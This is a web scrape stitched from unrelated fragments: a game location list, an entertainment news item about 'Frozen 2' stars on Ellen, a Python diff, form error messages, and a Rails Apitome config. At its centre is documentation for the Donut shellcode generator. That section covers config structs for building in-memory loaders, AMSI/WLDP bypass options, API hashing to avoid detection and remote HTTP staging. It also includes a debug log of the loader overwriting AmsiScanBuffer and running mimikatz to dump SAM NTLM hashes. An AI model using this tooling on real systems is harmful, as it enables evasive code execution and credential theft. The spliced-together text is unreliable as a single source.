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&$556;
Fortress North Gate
Fortress South Gate
Rune Town Square
Schuttgart Town Square
Swamp of Screams - 500
Valley of Saints - 500
Den of Evil - 500
Ice Merchant Cabin - 500
Shyeed's Cavern - 500


‘Ellen’ Guest Host Josh Gad Freaks Out ‘Frozen’ Co-Star Idina Menzel With Scary Fake Olaf
by Brent FurdykToday is the day that “Frozen” fans have been waiting for, with “Frozen 2” arriving in theatres.
In honour of the big day, Josh Gad (a.k.a. Olaf the snowman) filled in for Ellen DeGeneres as guest host of her daytime talk show, and he welcomed co-star Idina Menzel (Elsa).
During their chat, Menzel and Gad talk about her recent induction into the Hollywood Walk of Fame during a joint ceremony in which she and “Frozen” co-star Kristen Bell each got their own stars.
The pair also reminisce about performing “Let It Go” at a gay bar in London with co-star Jonathan Groff, and then tell viewers about their duet on Menzel’s star-studded new holiday album, Christmas: A Season Of Love.
It’s during this part of the conversation that Gad resurrects one of DeGeneres’ funniest recurring bits when a show staffer, dressed in an Olaf costume, bursts out of a fake table next to Menzel to scare her right out of her chair.
Other highlights from the episode include Gad and Menzel playing a game of “Speak Out”, Gad performing a Broadway number and welcoming “Frozen 2” co-star Evan Rachel Wood, who describes the “Disney baptism” she received after joining the sequel.


Before Change
fscore_list = [[int(k[1:]), v] for k, v in fscore.viewitems()]
print("fscore_list")
print(fscore_list)
sorted_fscore = fscore_list.sort(key=lambda x: x[0])
print("fscore_list after sorting")
print(fscore_list)
print("len(fscore_list)")
After Change
fscore_list = [[int(k[1:]), v] for k, v in fscore.viewitems()]
feature_infos = []
sum_of_all_feature_importances = 0.0
for idx_and_result in fscore_list:
idx = idx_and_result[0]
// Use the index that we grabbed above to find the human-readable feature name
feature_name = trained_feature_names[idx]
feat_importance = idx_and_result[1]
// If we sum up all the feature importances and then divide by that sum, we will be able to have each feature importance as it"s relative feature imoprtance, and the sum of all of them will sum up to 1, just as it is in scikit-learn.
sum_of_all_feature_importances += feat_importance
feature_infos.append([feature_name, feat_importance])
sorted_feature_infos = sorted(feature_infos, key=lambda x: x[1])
print("Here are the feature_importances from the tree-based model:")
print("The printed list will only contain at most the top 50 features.")


Error! {{message}}
Field must start with an alphabet (character
limit : 2-40) and special Characters are not allowed.!
Currency Name is required field !
Negative value is not allowed..!
Required field* (Limit : 1-1000)
Negative value is not allowed..!
Required field* (Limit : 1-1000)
Negative value is not allowed..!
Required field* (Limit : 1-1000)


int DonutCreate(PDONUT_CONFIG pConfig)
int DonutDelete(PDONUT_CONFIG pConfig)
const char* DonutError(int error)
When provided with a valid configuration, DonutCreate
will generate a shellcode capable of executing VBS/JS/EXE/DLL files in-memory. If the function returns DONUT_ERROR_SUCCESS
, the configuration will contain three components:
The key to decrypt the Module is stored in the Instance so that if a module is discovered on a staging server by an adversary, it should not be possible to decrypt the contents without the instance. The user can disable encryption via the entropy option. DonutDelete
will release any memory allocated by a successful call to DonutCreate
. The Instance will already be attached to the PIC ready for executing in-memory, but the module may require saving to disk if the PIC will retrieve it from a remote staging server.
A configuration requires a target architecture (only x86 and x86-64 are currently supported), a path to a VBS/JS/EXE/DLL file that will be executed in-memory by the shellcode, a namespace/class for a .NET assembly, including the name of a method to invoke and any parameters passed to the method. If the module will be stored on a staging server, a URL is required, but not a module name because that will be generated randomly. Unmanaged EXE files can also accept a command line, usually wrapped in quotations.
typedef struct _DONUT_CONFIG { // general / misc options for loader int arch; // target architecture int bypass; // bypass option for AMSI/WDLP int compress; // engine to use when compressing file via RtlCompressBuffer int entropy; // entropy/encryption level int fork; // create a new thread for the loader int format; // output format for loader int exit_opt; // return to caller or invoke RtlExitUserProcess to terminate the host process int thread; // run entrypoint of unmanaged EXE as a thread. attempts to intercept calls to exit-related API // files in/out char input[DONUT_MAX_NAME]; // name of input file to read and load in-memory char output[DONUT_MAX_NAME]; // name of output file to save loader // .NET stuff char runtime[DONUT_MAX_NAME]; // runtime version to use for CLR char domain[DONUT_MAX_NAME]; // name of domain to create for .NET DLL/EXE char cls[DONUT_MAX_NAME]; // name of class with optional namespace for .NET DLL char method[DONUT_MAX_NAME]; // name of method or DLL function to invoke for .NET DLL and unmanaged DLL // command line for DLL/EXE char param[DONUT_MAX_NAME]; // command line to use for unmanaged DLL/EXE and .NET DLL/EXE int unicode; // param is converted to unicode before being passed to unmanaged DLL function // HTTP staging information char server[DONUT_MAX_NAME]; // points to root path of where module will be stored on remote http server char modname[DONUT_MAX_NAME]; // name of module written to disk for http stager // DONUT_MODULE int mod_type; // VBS/JS/DLL/EXE int mod_len; // size of DONUT_MODULE DONUT_MODULE *mod; // points to DONUT_MODULE // DONUT_INSTANCE int inst_type; // DONUT_INSTANCE_EMBED or DONUT_INSTANCE_HTTP int inst_len; // size of DONUT_INSTANCE DONUT_INSTANCE *inst; // points to DONUT_INSTANCE int pic_len; // size of loader/shellcode void* pic; // points to loader/shellcode } DONUT_CONFIG, *PDONUT_CONFIG;
| Member | Description |
|---|---|
arch |
Indicates the type of assembly code to generate. DONUT_ARCH_X86 and DONUT_ARCH_X64 are self-explanatory. DONUT_ARCH_X84 indicates dual-mode that combines shellcode for both X86 and AMD64. ARM64 will be supported at some point. |
bypass |
Specifies behaviour of the code responsible for bypassing AMSI and WLDP. The current options are DONUT_BYPASS_NONE which indicates that no attempt be made to disable AMSI or WLDP. DONUT_BYPASS_ABORT indicates that failure to disable should result in aborting execution of the module. DONUT_BYPASS_CONTINUE indicates that even if AMSI/WDLP bypasses fail, the shellcode will continue with execution. |
compress |
The input file is compressed using ntdll!RtlCompressBuffer . Available engines are DONUT_COMPRESS_LZNT1 , DONUT_COMPRESS_XPRESS and DONUT_COMPRESS_XPRESS_HUFF . Currently only available on Windows. |
fork |
Experimental feature that launches a new thread for the loader and returns to the caller. May be removed in future releases. |
format |
Specifies the output format for loader. Supported formats are DONUT_FORMAT_BINARY , DONUT_FORMAT_BASE64 , DONUT_FORMAT_RUBY , DONUT_FORMAT_C , DONUT_FORMAT_PYTHON , DONUT_FORMAT_POWERSHELL , DONUT_FORMAT_CSHARP and DONUT_FORMAT_HEX . On Windows, the base64 string is copied to the clipboard. |
exit_opt |
When the shellcode ends, RtlExitUserThread is called, which is the default behaviour. Set this to DONUT_OPT_EXIT_PROCESS to terminate the host process via the RtlExitUserProcess API. |
thread |
If the file is an unmanaged EXE, the loader will run the entrypoint as a thread. The loader also attempts to intercept calls to exit-related API stored in the Import Address Table by replacing those pointers with the address of the RtlExitUserThread API. However, hooking via IAT is generally unreliable and donut may use code splicing / hooking in the future. |
input |
The path of file to execute in-memory. VBS/JS/EXE/DLL files are supported. |
output |
The path of where to save the shellcode/loader. Default is "loader.bin". |
runtime |
The CLR runtime version to use for a .NET assembly. If none is provided, donut will try read from the COM directory or meta header inside the PE file. If that fails, v4.0.30319 is used by default. |
domain |
AppDomain name to create. If one is not specified by the caller, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA" |
cls |
The class name with method to invoke. A namespace is optional. e.g: namespace.class |
method |
The method that will be invoked by the shellcode once a .NET assembly is loaded into memory. This also holds the name of an exported API if the module is an unmanaged DLL. |
param |
Contains a list of parameters for the .NET method or DLL function. Each separated by semi-colon or comma. For unmanaged EXE files, a 4-byte string is generated randomly to act as the module name. If entropy is disabled, this will be "AAAA" |
unicode |
By default, the param string is passed to an unmanaged DLL function without converting to UNICODE. With this set to 1, the string is converted. |
server |
If the type is DONUT_INSTANCE_HTTP , this should contain the server and path of where module will be stored. e.g: https://www.staging-server.com/modules/ |
modname |
If the type is DONUT_INSTANCE_HTTP , this will contain the name of the module for where to save the contents of mod to disk. If none is provided by the user, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"0 |
mod_type |
Indicates the type of file detected by DonutCreate . For example, DONUT_MODULE_VBS indicates a VBScript file. |
mod_len |
The total size of the Module pointed to by mod . |
mod |
Points to encrypted Module. If the type is DONUT_INSTANCE_HTTP , this should be saved to file using the modname and accessible via HTTP server. |
inst_type |
DONUT_INSTANCE_EMBED indicates a self-contained payload which means the file is embedded. DONUT_INSTANCE_HTTP indicates the file is stored on a remote HTTP server. |
inst_len |
The total size of the Instance pointed to by inst . |
inst |
Points to an encrypted Instance after a successful call to DonutCreate . Since it's already attached to the pic , this is only provided for debugging purposes. |
pic_len |
The size of data pointed to by pic . |
pic |
Points to the loader/shellcode. This should be injected into a remote process. |
Everything that follows here concerns internal workings of Donut and is not required to generate the loader.
The position-independent code will always contain an Instance which can be viewed simply as a configuration for the code itself. It will contain all the data that would normally be stored on the stack or in the .data
and .rodata
sections of an executable. Once the main code executes, if encryption is enabled, it will decrypt the data before attempting to resolve the address of API functions. If successful, it will check if an executable file is embedded or must be downloaded from a remote staging server. To verify successful decryption of a module, a randomly generated string stored in the sig
field is hashed using Maru and compared with the value of mac
. The data will be decompressed if required and only then is it loaded into memory for execution.
Modules can be embedded in an Instance or stored on a remote HTTP server.
typedef struct _DONUT_MODULE { int type; // EXE/DLL/JS/VBS int thread; // run entrypoint of unmanaged EXE as a thread int compress; // indicates engine used for compression char runtime[DONUT_MAX_NAME]; // runtime version for .NET EXE/DLL char domain[DONUT_MAX_NAME]; // domain name to use for .NET EXE/DLL char cls[DONUT_MAX_NAME]; // name of class and optional namespace for .NET EXE/DLL char method[DONUT_MAX_NAME]; // name of method to invoke for .NET DLL or api for unmanaged DLL char param[DONUT_MAX_NAME]; // string parameters for both managed and unmanaged DLL/EXE int unicode; // convert param to unicode before passing to DLL function char sig[DONUT_SIG_LEN]; // string to verify decryption uint64_t mac; // hash of sig, to verify decryption was ok uint32_t zlen; // compressed size of EXE/DLL/JS/VBS file uint32_t len; // real size of EXE/DLL/JS/VBS file uint8_t data[4]; // data of EXE/DLL/JS/VBS file } DONUT_MODULE, *PDONUT_MODULE;
A hash function called Maru is used to resolve the address of API at runtime. It uses a Davies-Meyer construction and the SPECK block cipher to derive a 64-bit hash from an API string. The padding is similar to what's used by MD4 and MD5 except only 32-bits of the string length are stored in the buffer instead of 64-bits. An initial value (IV) chosen randomly ensures the 64-bit API hashes are unique for each instance and cannot be used for detection of Donut. Future releases will likely support alternative methods of resolving address of API to decrease chance of detection.
The following structure is used to hold a master key, counter and nonce for Donut, which are generated randomly.
typedef struct _DONUT_CRYPT { BYTE mk[DONUT_KEY_LEN]; // master key BYTE ctr[DONUT_BLK_LEN]; // counter + nonce } DONUT_CRYPT, *PDONUT_CRYPT;
Chaskey, a 128-bit block cipher with support for 128-bit keys, is used in Counter (CTR) mode to decrypt a Module or an Instance at runtime. If an adversary discovers a staging server, it should not be feasible for them to decrypt a donut module without the key which is stored in the donut payload.
The payload is capable of displaying detailed information about each step executing a file in-memory and can be useful in tracking down bugs. To build a debug-enabled executable, specify the debug label with nmake/make for both donut.c and payload.c.
nmake debug -f Makefile.msvc make debug -f Makefile.mingw
Use donut to create a payload as you normally would and a file called instance
will be saved to disk.
[ Donut shellcode generator v0.9.3 [ Copyright (c) 2019 TheWover, Odzhan DEBUG: donut.c:932:DonutCreate(): Entering. DEBUG: donut.c:934:DonutCreate(): Validating configuration and path of file PDONUT_CONFIG:<PHONE_NUMBER>8FF370 DEBUG: donut.c:950:DonutCreate(): Validating instance type 1 DEBUG: donut.c:958:DonutCreate(): Validating format DEBUG: donut.c:963:DonutCreate(): Validating compression DEBUG: donut.c:972:DonutCreate(): Validating entropy level DEBUG: donut.c:1012:DonutCreate(): Validating architecture DEBUG: donut.c:1022:DonutCreate(): Validating AMSI/WDLP bypass option DEBUG: donut.c:293:get_file_info(): Entering. DEBUG: donut.c:302:get_file_info(): Checking extension of C:\hub\mimikatz_trunk\x64\mimikatz.exe DEBUG: donut.c:309:get_file_info(): Extension is ".exe" DEBUG: donut.c:325:get_file_info(): Module is EXE DEBUG: donut.c:337:get_file_info(): Mapping C:\hub\mimikatz_trunk\x64\mimikatz.exe into memory DEBUG: donut.c:232:map_file(): Reading size of file : C:\hub\mimikatz_trunk\x64\mimikatz.exe DEBUG: donut.c:241:map_file(): Opening C:\hub\mimikatz_trunk\x64\mimikatz.exe DEBUG: donut.c:251:map_file(): Mapping 1013912 bytes for C:\hub\mimikatz_trunk\x64\mimikatz.exe DEBUG: donut.c:346:get_file_info(): Checking DOS header DEBUG: donut.c:352:get_file_info(): Checking NT header DEBUG: donut.c:358:get_file_info(): Checking IMAGE_DATA_DIRECTORY DEBUG: donut.c:366:get_file_info(): Checking characteristics DEBUG: donut.c:443:get_file_info(): Reading fragment and workspace size DEBUG: donut.c:449:get_file_info(): workspace size : 1415999 | fragment size : 5161 DEBUG: donut.c:452:get_file_info(): Allocating meory for compressed file DEBUG: donut.c:455:get_file_info(): Compressing data DEBUG: donut.c:462:get_file_info(): Original : 1013912 | Compressed : 478726 DEBUG: donut.c:466:get_file_info(): Reduced by 52% DEBUG: donut.c:478:get_file_info(): Leaving. DEBUG: donut.c:1043:DonutCreate(): Validating architecture 3 for DLL/EXE 2 DEBUG: donut.c:1083:DonutCreate(): Creating module DEBUG: donut.c:589:CreateModule(): Entering. DEBUG: donut.c:596:CreateModule(): Allocating 480054 bytes of memory for DONUT_MODULE DEBUG: donut.c:672:CreateModule(): Setting the length of module data DEBUG: donut.c:676:CreateModule(): Copying data DEBUG: donut.c:689:CreateModule(): Leaving. DEBUG: donut.c:1090:DonutCreate(): Creating instance DEBUG: donut.c:700:CreateInstance(): Entering. DEBUG: donut.c:703:CreateInstance(): Allocating space for instance DEBUG: donut.c:710:CreateInstance(): The size of module is 480054 bytes. Adding to size of instance. DEBUG: donut.c:713:CreateInstance(): Total length of instance : 483350 DEBUG: donut.c:725:CreateInstance(): Generating random key for instance DEBUG: donut.c:731:CreateInstance(): Generating random key for module DEBUG: donut.c:737:CreateInstance(): Generating random string to verify decryption DEBUG: donut.c:742:CreateInstance(): Generating random IV for Maru hash DEBUG: donut.c:748:CreateInstance(): Generating hashes for API using IV: B02EE37A85853A38 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : LoadLibraryA = 91A159687016A1E1 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : GetProcAddress =<PHONE_NUMBER>D00851 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : GetModuleHandleA = 2BF42B5E41FD4C59 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : VirtualAlloc = 217F8AA0B37F365F DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : VirtualFree = 2D2DA8EDBA73032F DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : VirtualQuery = 638709B317BAFB30 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : VirtualProtect =<PHONE_NUMBER>C2A49A DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : Sleep = CA9C9BE9BD8EA780 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : MultiByteToWideChar = 76176A35551EE10D DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : GetUserDefaultLCID = 538D12A8832092B6 DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : WaitForSingleObject = 3F534C18FC10DA5E DEBUG: donut.c:761:CreateInstance(): Hash for kernel32.dll : CreateThread = A52F1F4467587954 DEBUG: donut.c:761:CreateInstance(): Hash for shell32.dll : CommandLineToArgvW = 6AD83BB027CB8950 DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SafeArrayCreate = 075C6A327F3D52DB DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SafeArrayCreateVector = AD03505359068DDD DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SafeArrayPutElement = D31A2728E6D7F91B DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SafeArrayDestroy = 88B9E7C080529C23 DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SafeArrayGetLBound = C05B40A05E75B7AF DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SafeArrayGetUBound = 476867E50311505F DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SysAllocString = D9CFF4875AB529CE DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : SysFreeString = 0B58E092C382C1D8 DEBUG: donut.c:761:CreateInstance(): Hash for oleaut32.dll : LoadTypeLib = 0FCAC4B0A7371A6E DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : InternetCrackUrlA = A94916E3CB631C1D DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : InternetOpenA = DC37FFCDEBF7DFED DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : InternetConnectA = 5A48A3BD4290F724 DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : InternetSetOptionA = E2F204B2C01D6089 DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : InternetReadFile = 74B5DB338A4AF815 DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : InternetCloseHandle = 60B462D7520D7EC8 DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : HttpOpenRequestA = 8FA067B6C450A239 DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : HttpSendRequestA = 48019ACD2CD26948 DEBUG: donut.c:761:CreateInstance(): Hash for wininet.dll : HttpQueryInfoA = 42A7B59357E517C7 DEBUG: donut.c:761:CreateInstance(): Hash for mscoree.dll : CorBindToRuntime = B7A45FEF69C28901 DEBUG: donut.c:761:CreateInstance(): Hash for mscoree.dll : CLRCreateInstance = F356C5B73892175F DEBUG: donut.c:761:CreateInstance(): Hash for ole32.dll : CoInitializeEx = 9145E115B31BBFFC DEBUG: donut.c:761:CreateInstance(): Hash for ole32.dll : CoCreateInstance = 262950647E303460 DEBUG: donut.c:761:CreateInstance(): Hash for ole32.dll : CoUninitialize = 1A99B4A712B76012 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlEqualUnicodeString = BDD45D8283900E74 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlEqualString = 77F04BB55F5347A8 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlUnicodeStringToAnsiString = 4AF81E45D5D95835 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlInitUnicodeString = E1A7F96405BB7106 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlExitUserThread = 94BD36C7C295FC52 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlExitUserProcess = 6F98A33E6DA4986C DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlCreateUnicodeString = 88A2232B0869DF41 DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlGetCompressionWorkSpaceSize = 4E8E2A23D41A8E6B DEBUG: donut.c:761:CreateInstance(): Hash for ntdll.dll : RtlDecompressBufferEx = F2031AF815C04AEC DEBUG: donut.c:901:CreateInstance(): Copying module data to instance DEBUG: donut.c:906:CreateInstance(): encrypting instance DEBUG: donut.c:918:CreateInstance(): Leaving. DEBUG: donut.c:1098:DonutCreate(): Saving instance to file DEBUG: donut.c:1131:DonutCreate(): PIC size : 501741 DEBUG: donut.c:1138:DonutCreate(): Inserting opcodes DEBUG: donut.c:1174:DonutCreate(): Copying 18359 bytes of x86 + amd64 shellcode DEBUG: donut.c:1234:DonutCreate(): Saving loader as raw data DEBUG: donut.c:270:unmap_file(): Releasing compressed data DEBUG: donut.c:274:unmap_file(): Unmapping DEBUG: donut.c:277:unmap_file(): Closing DEBUG: donut.c:1273:DonutCreate(): Leaving. [ Instance type : PIC [ Module file : "C:\hub\mimikatz_trunk\x64\mimikatz.exe" [ File type : EXE [ Parameters : lsadump::sam coffee exit [ Target CPU : x86+amd64 [ AMSI/WDLP : continue [ Shellcode : "loader.bin" DEBUG: donut.c:1281:DonutDelete(): Entering. DEBUG: donut.c:1300:DonutDelete(): Leaving.
Pass the instance as a parameter to loader.exe and it will run on the host system as if in a target environment.
C:\hub\donut\loader>loader ..\instance Running... DEBUG: loader.c:70:MainProc(): Maru IV : B02EE37A85853A38 DEBUG: loader.c:73:MainProc(): Resolving address for VirtualAlloc() : 217F8AA0B37F365F DEBUG: loader.c:77:MainProc(): Resolving address for VirtualFree() : 2D2DA8EDBA73032F DEBUG: loader.c:81:MainProc(): Resolving address for RtlExitUserProcess() : 6F98A33E6DA4986C DEBUG: loader.c:90:MainProc(): VirtualAlloc : 00007FF950FDA190 VirtualFree : 00007FF950FDA180 DEBUG: loader.c:92:MainProc(): Allocating 483350 bytes of RW memory DEBUG: loader.c:104:MainProc(): Copying 483350 bytes of data to memory 000001FE756B0000 DEBUG: loader.c:108:MainProc(): Zero initializing PDONUT_ASSEMBLY DEBUG: loader.c:117:MainProc(): Decrypting 483350 bytes of instance DEBUG: loader.c:124:MainProc(): Generating hash to verify decryption DEBUG: loader.c:126:MainProc(): Instance : 6A28D321377C24AB | Result : 6A28D321377C24AB DEBUG: loader.c:133:MainProc(): Resolving LoadLibraryA DEBUG: loader.c:139:MainProc(): Loading 1 of 5 : ole32.dll ... DEBUG: loader.c:139:MainProc(): Loading 2 of 5 : oleaut32.dll ... DEBUG: loader.c:139:MainProc(): Loading 3 of 5 : wininet.dll ... DEBUG: loader.c:139:MainProc(): Loading 4 of 5 : mscoree.dll ... DEBUG: loader.c:139:MainProc(): Loading 5 of 5 : shell32.dll ... DEBUG: loader.c:143:MainProc(): Resolving 45 API DEBUG: loader.c:146:MainProc(): Resolving API address for<PHONE_NUMBER>D00851 DEBUG: loader.c:146:MainProc(): Resolving API address for 2BF42B5E41FD4C59 DEBUG: loader.c:146:MainProc(): Resolving API address for 217F8AA0B37F365F DEBUG: loader.c:146:MainProc(): Resolving API address for 2D2DA8EDBA73032F DEBUG: loader.c:146:MainProc(): Resolving API address for 638709B317BAFB30 DEBUG: loader.c:146:MainProc(): Resolving API address for<PHONE_NUMBER>C2A49A DEBUG: loader.c:146:MainProc(): Resolving API address for CA9C9BE9BD8EA780 DEBUG: loader.c:146:MainProc(): Resolving API address for 76176A35551EE10D DEBUG: loader.c:146:MainProc(): Resolving API address for 538D12A8832092B6 DEBUG: loader.c:146:MainProc(): Resolving API address for 3F534C18FC10DA5E DEBUG: loader.c:146:MainProc(): Resolving API address for A52F1F4467587954 DEBUG: loader.c:146:MainProc(): Resolving API address for 6AD83BB027CB8950 DEBUG: loader.c:146:MainProc(): Resolving API address for 075C6A327F3D52DB DEBUG: loader.c:146:MainProc(): Resolving API address for AD03505359068DDD DEBUG: loader.c:146:MainProc(): Resolving API address for D31A2728E6D7F91B DEBUG: loader.c:146:MainProc(): Resolving API address for 88B9E7C080529C23 DEBUG: loader.c:146:MainProc(): Resolving API address for C05B40A05E75B7AF DEBUG: loader.c:146:MainProc(): Resolving API address for 476867E50311505F DEBUG: loader.c:146:MainProc(): Resolving API address for D9CFF4875AB529CE DEBUG: loader.c:146:MainProc(): Resolving API address for 0B58E092C382C1D8 DEBUG: loader.c:146:MainProc(): Resolving API address for 0FCAC4B0A7371A6E DEBUG: loader.c:146:MainProc(): Resolving API address for A94916E3CB631C1D DEBUG: loader.c:146:MainProc(): Resolving API address for DC37FFCDEBF7DFED DEBUG: loader.c:146:MainProc(): Resolving API address for 5A48A3BD4290F724 DEBUG: loader.c:146:MainProc(): Resolving API address for E2F204B2C01D6089 DEBUG: loader.c:146:MainProc(): Resolving API address for 74B5DB338A4AF815 DEBUG: loader.c:146:MainProc(): Resolving API address for 60B462D7520D7EC8 DEBUG: loader.c:146:MainProc(): Resolving API address for 8FA067B6C450A239 DEBUG: loader.c:146:MainProc(): Resolving API address for 48019ACD2CD26948 DEBUG: loader.c:146:MainProc(): Resolving API address for 42A7B59357E517C7 DEBUG: loader.c:146:MainProc(): Resolving API address for B7A45FEF69C28901 DEBUG: loader.c:146:MainProc(): Resolving API address for F356C5B73892175F DEBUG: loader.c:146:MainProc(): Resolving API address for 9145E115B31BBFFC DEBUG: peb.c:87:FindExport(): 9145e115b31bbffc is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx) DEBUG: loader.c:146:MainProc(): Resolving API address for 262950647E303460 DEBUG: peb.c:87:FindExport(): 262950647e303460 is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance) DEBUG: loader.c:146:MainProc(): Resolving API address for 1A99B4A712B76012 DEBUG: peb.c:87:FindExport(): 1a99b4a712b76012 is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize) DEBUG: loader.c:146:MainProc(): Resolving API address for BDD45D8283900E74 DEBUG: loader.c:146:MainProc(): Resolving API address for 77F04BB55F5347A8 DEBUG: loader.c:146:MainProc(): Resolving API address for 4AF81E45D5D95835 DEBUG: loader.c:146:MainProc(): Resolving API address for E1A7F96405BB7106 DEBUG: loader.c:146:MainProc(): Resolving API address for 94BD36C7C295FC52 DEBUG: loader.c:146:MainProc(): Resolving API address for 6F98A33E6DA4986C DEBUG: loader.c:146:MainProc(): Resolving API address for 88A2232B0869DF41 DEBUG: loader.c:146:MainProc(): Resolving API address for 4E8E2A23D41A8E6B DEBUG: loader.c:146:MainProc(): Resolving API address for F2031AF815C04AEC DEBUG: loader.c:162:MainProc(): Using module embedded in instance DEBUG: bypass.c:112:DisableAMSI(): Length of AmsiScanBufferStub is 36 bytes. DEBUG: bypass.c:122:DisableAMSI(): Overwriting AmsiScanBuffer DEBUG: bypass.c:137:DisableAMSI(): Length of AmsiScanStringStub is 36 bytes. DEBUG: bypass.c:147:DisableAMSI(): Overwriting AmsiScanString DEBUG: loader.c:173:MainProc(): DisableAMSI OK DEBUG: bypass.c:326:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 20 bytes. DEBUG: bypass.c:350:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 36 bytes.  "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi`<EMAIL_ADDRESS>) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX<EMAIL_ADDRESS>) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # lsadump::sam Domain : DESKTOP-B888L2R SysKey : b43927eef0f56833c527ea951c37abc1 Local SID : S-1-5-21-1047138248-288568923-692962947 SAMKey : f1813d42812fcde9c5fe08807370613d RID : 000001f4 (500) User : Administrator RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount Hash NTLM: c288f1c30b232571b0222ae6a5b7d223 RID : 000003e9 (1001) User : john Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c RID : 000003ea (1002) User : user Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c RID : 000003eb (1003) User : test mimikatz(commandline) # coffee ( ( ) ) .______. | |] \ / `----' mimikatz(commandline) # exit Bye! DEBUG: inmem_pe.c:332:RunPE(): Process terminated DEBUG: inmem_pe.c:342:RunPE(): Erasing 1019904 bytes of memory at 000001FE75990000 DEBUG: inmem_pe.c:346:RunPE(): Releasing memory DEBUG: loader.c:272:MainProc(): Erasing RW memory for instance DEBUG: loader.c:275:MainProc(): Releasing RW memory for instance DEBUG: loader.c:283:MainProc(): Returning to caller
Obviously you should be cautious with what files you decide to execute on your machine.


Wojciech Stępniak
Rspec_api_documentation is a gem which allow you to generate API docs from your test suite
Apitome is a API documentation tool for Rails built on top of the great rspec DSL included in rspec_api_documentation (RAD). It's designed to display the documentation generated by RAD in either a single page (with scrollspy), or on individual pages, and uses Bootstrap3 for most of the basic styling and highlight.js for code highlighting.
Gemfile:
# Documentation
gem "rspec_api_documentation", "~> 5.1.0"
gem "apitome", "~> 0.1.0"
initializers/rspec_api_documentation.rb
RspecApiDocumentation.configure do |config|
# Output folder
config.docs_dir = Rails.root.join("doc", "api")
# An array of output format(s).
# Possible values are :json, :html, :combined_text, :combined_json,
# :json_iodocs, :textile, :markdown, :append_json
config.format = [:json]
end
initializers/apitome.rb
Apitome.setup do |config|
# This determines where the Apitome routes will be mounted.
# Changing this to '/api/documentation' for instance would allow you to browse to
# http://localhost:3000/api/documentation to see your api documentation.
# Set to nil and mount it yourself if you need to.
config.mount_at = nil # I mounted apitome like an engine in Rails router
# This defaults to Rails.root if left nil. If you're providing documentation for an engine using
# a dummy application it can be useful to set this to your engines root..
# E.g. Application::Engine.root
config.root = nil
# This is where rspec_api_documentation outputs the JSON files.
# This is configurable within RAD, and so is configurable here.
config.doc_path = "doc/api"
# The title of the documentation -- If your project has a name, you'll want to put it here.
config.title = "API Documentation"
# The main layout view for all documentation pages.
# By default this is pretty basic, but you may want to use your own application layout.
config.layout = "apitome/application"
# We're using highlight.js (https://github.com/isagalaev/highlight.js) for code highlighting,
# and it comes with some great themes.
# You can check http://softwaremaniacs.org/media/soft/highlight/test.html for themes,
# and enter the theme as lowercase/underscore.
config.code_theme = "default"
# This allows you to override the css manually.
# You typically want to require `apitome/application` within the override,
# but if you want to override it entirely you can do so.
config.css_override = nil
# This allows you to override the javascript manually.
# You typically want to require `apitome/application` within the override,
# but if you want to override it entirely you can do so.
config.js_override = nil
# You can provide a 'README' style markdown file for the documentation,
# which is a useful place to include general information.
# This path is relative to your doc_path configuration.
config.readme = "../api.md"
# Apitome can render the documentation into a single page that uses scrollspy,
# or it can render the documentation on individual pages on demand.
